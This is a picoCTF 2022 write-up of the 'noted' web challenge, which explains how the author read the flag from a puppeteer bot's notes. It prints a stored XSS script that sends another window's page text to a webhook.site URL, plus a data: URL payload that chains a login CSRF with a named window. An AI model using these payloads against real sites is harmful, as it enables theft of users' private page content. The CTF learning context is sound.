Tags: web xss noted 

Rating: 5.0

### Read original write-up here for better formatting and images: [Click Here](https://docs.abbasmj.com/ctf-writeups/picoctf-2022#noted)

-----

**Description:** I made a nice web app that lets you take notes. I'm pretty sure I've followed all the best practices so its definitely secure right?

**Points:** 500

#### **Solution**

This was a challenging one. A little bit.

**Hint 1:** Are you sure I followed all the best practices?

**Hint 2:** There's more than just HTTP(S)!

**Hint 3:** Things that require user interaction normally in Chrome might not require it in Headless Chrome.

After browsing the site for few minutes, I realised that you can inject html code while creating new notes.

The source code was available to download. Let's look at what's going on in the backend. `web.js` has all the endpoints and the server is run internally on `localhost:8080`. However the most interesting part is `report.js` which handles the `/report` endpoint. Let's look at its code.

```javascript
async function run(url) {
let browser;

try {
module.exports.open = true;
browser = await puppeteer.launch({
headless: true,
pipe: true,
args: ['--incognito', '--no-sandbox', '--disable-setuid-sandbox'],
slowMo: 10
});

let page = (await browser.pages())[0]

await page.goto('http://0.0.0.0:8080/register');
await page.type('[name="username"]', crypto.randomBytes(8).toString('hex'));
await page.type('[name="password"]', crypto.randomBytes(8).toString('hex'));

await Promise.all([
page.click('[type="submit"]'),
page.waitForNavigation({ waituntil: 'domcontentloaded' })
]);

await page.goto('http://0.0.0.0:8080/new');
await page.type('[name="title"]', 'flag');
await page.type('[name="content"]', process.env.flag ?? 'ctf{flag}');

await Promise.all([
page.click('[type="submit"]'),
page.waitForNavigation({ waituntil: 'domcontentloaded' })
]);

await page.goto('about:blank')
await page.goto(url);
await page.waitForTimeout(7500);

await browser.close();
} catch(e) {
console.error(e);
try { await browser.close() } catch(e) {}
}

module.exports.open = false;
}
```

Couple of things to notice here:

* It's a puppeteer bot
* It is a headless, no-sandbox chromium browser (it's infamous of lax security)
* The bot creates a new account with completely random username and password. Creates a new note with content as `process.env.flag` i. e the flag.
* The bot in the end opens the `url` we provide on the `/reports` page.

The ideal plan would be to read the contents of "My notes" of the bot account which includes the flag. I had several ideas like use fetch API to login to a test account and create a note with contents from the bot account but the `csrf` library used was making it very tricky to do that.

After some manual testing I figured that you can access internet through the puppeteer bot (even though they said we couldn't? wth?)

Now this opens a lot of possibilities. I can make a get request containing the "My Notes" contents as an argument. So, here's my plan:

So, my plan is simple. I will create an account on main servers with credentials `a:a.`

Then, I will created a script that will access `webhook.site` url with `body` contents of a particular window named "pwn" (This will be created later). Let's have a look at the script.

```javascript
<script>
if (window.location.search.includes('pwn'))
window.location = 'https://webhook.site/a5591c91-8eec-4366-9388-e231484f01b5?' + window.open('', 'pwn').document.body.textContent
</script>
```

I added a clause to check for `?pwn` in the url because without it the website was crashing since it was redirecting every time you accessed notes. Now, let's go ahead and plant it.

Now, it is time for the main script. The one that goes into the `/report` page, into the `url` field.

Here I want to do three things inside puppeteer in a sequence.

1. Open a new window named "pwn" with url `http://localhost/notes`. This will open the "My notes" page as bot account. Which has the flag.
2. Login in to our test account with credentials `a:a`\`
3. Go to `/notes?pwn` after logging in which will capture the contents of "pwn" window automatically due to xss.

That's it. That should do it. Now let's have a look at the code.

```html
data:text/html,
<form action="http://localhost:8080/login" method=POST id=pwn target=_blank>
<input type="text" name="username" value="a"><input type="text" name="password" value="a">
</form>
<script>
window.open('http://localhost:8080/notes', 'pwn');
setTimeout(`pwn.submit()`, 1000);
setTimeout(`window.location='http://localhost:8080/notes?pwn'`, 1500);
</script>
```

`data:text/html` tells chrome that the contents are html. Next, we create a form with action as the local login page and pre-enter the credentials as `values` in the input fields. Next we execute our sequence inside a script tag. We open a window named "pwn" with notes url (This has our flag in body). Then we wait 1 second and submit our login form. Note, the `target: _blank` is important because we want to use new window to do the login. If we do it in the current tab then our script wont execute further because you would be reddirected. After we are logged in as "a:a" we then open `/notes?pwn` after 1.5 seconds which will trigger our XSS and steal the contents from the "pwn" tag which still has body from the bot account (and the flag).

We'll go ahead and first get this script in one line and then enter it into the "url" section of `/report`.

Now we wait for 2.5 seconds :relaxed:

See flag [here](https://docs.abbasmj.com/ctf-writeups/picoctf-2022#noted)

Original writeup (https://docs.abbasmj.com/ctf-writeups/picoctf-2022#noted).